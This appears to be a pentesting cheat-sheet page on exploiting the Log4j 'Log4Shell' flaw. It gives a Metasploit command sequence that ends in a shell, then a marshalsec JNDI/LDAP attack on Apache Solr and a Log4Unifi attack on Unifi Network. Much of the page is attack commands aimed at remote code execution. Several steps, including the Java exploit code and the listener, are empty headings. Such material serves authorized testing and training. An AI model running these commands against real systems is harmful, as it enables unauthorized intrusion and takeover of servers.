githubEdit

Log4j Pentesting

Log4j has zero-day vulnerabilities to Log4Shell, Log4Unifi.

msfconsole
msf> use exploit/multi/http/log4shell_header_injection
msf> set HTTP_HEADER ACCEPT
msf> set RHOSTS <target-ip>
msf> set SRVHOST <local-ip>
msf> set SRVPORT 1389
# e.g. Nagios
msf> set TARGETURI /~logs
msf> set LHOST <local-ip>
msf> run
shell

Exploit Apache Solr (JNDI)

You need to prepare your four local terminals.

1. Start LDAP Server on Your Local Terminal 1

  1. Install Maven

    sudo apt install maven
  2. Get the Payload

    Download the repository.

    git clone https://github.com/mbechler/marshalsec.git
    cd marshalsec

    Then build the marshalsec utility

    mvn clean package -DskipTests
  3. Start LDAP Server

    java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your-local-ip>:8000/#Exploit"

2. Host the Exploit on Your Local Terminal 2

  1. Create the Exploit with Java

    First, create a new directory and create a new exploit named "Exploit.java" in the directory. Open your favorite editor like vim.

    In editor, enter the following code.

  2. Compile the Payload

  3. Start Web Server to Host the Payload

3. Open Listener on Your Local Terminal 3

4. Send Request the Target Website

Exploit Unifi Network using Log4Unifi

Log4Unifi is an exploitation Log4j tool in Unifi Network.

1. Test the Vulnerability in the Target Web Page

2. Open Listener on Your Local Machine

3. Exploit

Download the exploit from the repositoryarrow-up-right.

Exploit

Last updated